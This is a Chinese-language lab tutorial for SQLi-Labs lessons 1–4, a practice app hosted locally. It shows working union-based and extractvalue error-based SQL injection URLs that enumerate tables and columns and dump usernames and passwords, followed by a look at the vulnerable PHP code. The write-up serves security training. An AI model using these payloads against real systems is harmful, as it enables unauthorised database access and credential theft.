SQLi-Labs系列之GET型报错注入

目录

  • 预备知识
    • SQL
    • phpstudy介绍
  • 实验目的
  • 实验环境
  • 实验步骤一
  • 实验步骤二
  • 实验步骤三
  • 实验步骤四

预备知识

SQL

1)SQL注入介绍
SQLI,sql injection,我们称之为sql注入。何为sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用sql语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。
2)关于SQL基础语句
增:

insert into tableName(columnName1,columnName2) values(value1,value2)

删:

delete from tableName where …

改:

update tableName set columnName=value where …

查:

select * from tableName where …

3)Information_schema数据库基本表说明:
schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。
SQLi-Labs系列之GET型报错注入_第1张图片
tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables from schemaName的结果就是从该表得出。
SQLi-Labs系列之GET型报错注入_第2张图片
columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。
SQLi-Labs系列之GET型报错注入_第3张图片

phpstudy介绍

phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。

实验目的

掌握SQL注入基本方法、测试流程,及information_schema数据库的运用。

实验环境

操作系统:win10。
辅助工具:firefox、phpstudy。

实验步骤一

我们的任务分为4个部分:
分别根据返回的报错信息的不同,构造语句进行注入。都是依照表→列→值的顺序来进行爆破。
任务描述:突破lesson-1的实验,按照表→列→值的顺序。最后查看后台源代码。
1.启动phpstudy,打开http://localhost/sqli-labs-master/,点击page-1后:
SQLi-Labs系列之GET型报错注入_第4张图片
2.点击GET-error based-single quotes-string less-1,进入如下图实验界面:
SQLi-Labs系列之GET型报错注入_第5张图片
3.根据提示加入id参数在url中:
SQLi-Labs系列之GET型报错注入_第6张图片
4.根据lesson-1的名称:基于字符型的报错注入,加入单引号进行测试(实际测试过程中也常加单引号进行测试),在页面上出现提示信息,该提示信息告诉我们,在id值1的后面多加了一个单引号,引发报错,根据提示信息,我们可以发现sql语句是使用单引号闭合,故利用这一点我们可以闭合前面单引号,使用联合查询查看。
SQLi-Labs系列之GET型报错注入_第7张图片
5.使用联合查询,先判断当前数据表中的列数。在浏览器地址栏中输入:

http://localhost/sqli-labs-master/Less-1/?id=-1'+union+select+1,2,3--+

其中+号用来代替空格(此处也可直接使用空格),–符用来注释后面的sql语句;id取值为-1使得前面的sql语句不能返回任何结果集,故页面中会显示出union select的结果。可以看到列数为3时不报错(列数为3是测出来的,不会一下子得出),表明当前数据表的列数(字段数)为3列,且显示的位置为第2,3个字段。
SQLi-Labs系列之GET型报错注入_第8张图片
6.我们可以在第二或第三个字段中用version()函数代替,查看当前数据库的版本,得出版本为5.5.53(http://localhost/sqli-labs-master/Less-1/?id=-1’+union+select+1,version(),3–+),故我们可以尝试利用information_schema数据库来查当前数据库中的表名、列名以及对应值。
7.先查询数据库中所有表名,输入:

http://localhost/sqli-labs-master/Less-1/?id=-1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--+

利用group_concat函数连接一组字符串,database()函数返回当前数据库。
SQLi-Labs系列之GET型报错注入_第9张图片
8.得到表名之后猜测users表中可能有敏感信息,尝试爆出users表的列名:

http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns wheretable_name='users' and table_schema=database()--+

SQLi-Labs系列之GET型报错注入_第10张图片
9.开始根据得出的列名爆值:

http://localhost/sqli-labs-master/Less-1/?id=-1'+union+select+1,group_concat(id,0x3a,username,0x7e,password),3+from+users--+

其中0x3a表示:,0x7e表示~。
SQLi-Labs系列之GET型报错注入_第11张图片
10.切换到代码中来分析漏洞产生的原因:
在这里插入图片描述
可以看到在源代码中没有做任何防护,我们可以在构建SQL语句时闭合前面单引号,注释掉后面的内容就可添加我们的内容。

实验步骤二

任务描述:突破lesson-2的实验,按照表→列→值的顺序。最后查看后台源代码。
1.打开lesson-2,加入参数id,同时加入一个单引号,查看报错情况。
SQLi-Labs系列之GET型报错注入_第12张图片
可以看到发生错误的原因是多了一个单引号,当我们去掉单引号时正常显示,说明可能是数字型注入。接下来可以按照实验任务一中的步骤进行爆值,这儿避免重复用另一种方式。
2.使用extractvalue函数进行报错注入:

http://localhost/sqli-labs-master/Less-2/?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

可以看到这条相比上一步中查表名时,id=1后没有加单引号。
SQLi-Labs系列之GET型报错注入_第13张图片
3.接下来的步骤和任务一中的步骤一样,只是替换掉extractvalue函数中xpath部分的查询语句即可。这里便不再重复,提供注入的URL。

http://localhost/sqli-labs-master/Less-2/?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())))--+

SQLi-Labs系列之GET型报错注入_第14张图片

http://localhost/sqli-labs-master/Less-2/?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x7e,password)from users)))--+

SQLi-Labs系列之GET型报错注入_第15张图片

http://localhost/sqli-labs-master/Less-2/?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x7e,password) from users where username not in('Dumb','Angelina'))))--+

SQLi-Labs系列之GET型报错注入_第16张图片
4.切换到代码中来分析漏洞产生的原因:
SQLi-Labs系列之GET型报错注入_第17张图片
同样没有做任何过滤,在where字段中也仅仅是id等于直接输入的数据,没有像任务一中的闭合,故在此处加单引号会报错。

实验步骤三

任务描述:突破lesson-3的实验,按照表→列→值的顺序。最后查看后台源代码。
1.打开lesson-3,同样根据提示加上参数id,同时加入单引号查看报错情况。
SQLi-Labs系列之GET型报错注入_第18张图片
可以看到这次多加了单引号及右括号,当我们输入时加入这两个字符就可以闭合查询语句中的符号,从而使用联合查询或者其他报错函数来查询我们自己的语句。这儿的注入步骤和前面的一样,就不赘述。读者自行尝试。
2.同样来到代码中,分析代码:
在这里插入图片描述
可以看到没有做任何防护,使用单引号加括号闭合。

实验步骤四

任务描述:突破lesson-4的实验,按照表→列→值的顺序。最后查看后台源代码。
1.打开lesson-4,同样根据提示加上参数id,同时根据名称加入双引号查看报错情况。

http://localhost/sqli-labs-master/Less-4/?id=1”

SQLi-Labs系列之GET型报错注入_第19张图片
可以根据报错情况得出该语句使用双引号加括号闭合,我们用:

http://localhost/sqli-labs-master/Less-4/?id=1")--+

可以看到正常显示了。
SQLi-Labs系列之GET型报错注入_第20张图片
2.可同样根据前面的步骤自行查询。
3.来到代码阶段,分析代码:
SQLi-Labs系列之GET型报错注入_第21张图片
可以看到id用双引号包起来之后,传入SQL查询语句。

你可能感兴趣的:(CTF特训营:技术详解,解题方法与竞赛技巧,#,CTF之Web,sql,数据库,php,mysql,安全)